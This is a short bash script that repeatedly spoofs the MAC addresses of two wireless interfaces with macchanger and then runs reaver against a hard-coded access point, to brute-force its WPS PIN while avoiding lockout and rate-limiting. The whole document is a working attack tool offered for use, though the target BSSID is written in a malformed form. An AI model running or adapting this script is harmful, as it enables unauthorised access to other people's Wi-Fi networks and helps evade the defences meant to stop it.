Variable reaver

#!/bin/bash
#Changing Mac Address to random Mac Address
while :; do echo
echo "Changing Mac Address to random Mac Address..";
ifconfig mon0 down;
ifconfig mon0 down;
ifconfig wlan2 down;
ifconfig wlan2 down;
macchanger -r mon0;
macchanger -r wlan2;
ifconfig mon0 up;
ifconfig mon0 up;
ifconfig wlan2 up;
ifconfig wlan2 up;
echo "Mac Address Changed and interface is up!"
#running reaver 1.4
echo "running reaver 1.4"
echo y|reaver -i mon0 -b C87:19:89:E7:13 -c1 -vv -t 20 -n -d10 -g1 -L;
sleep 1
done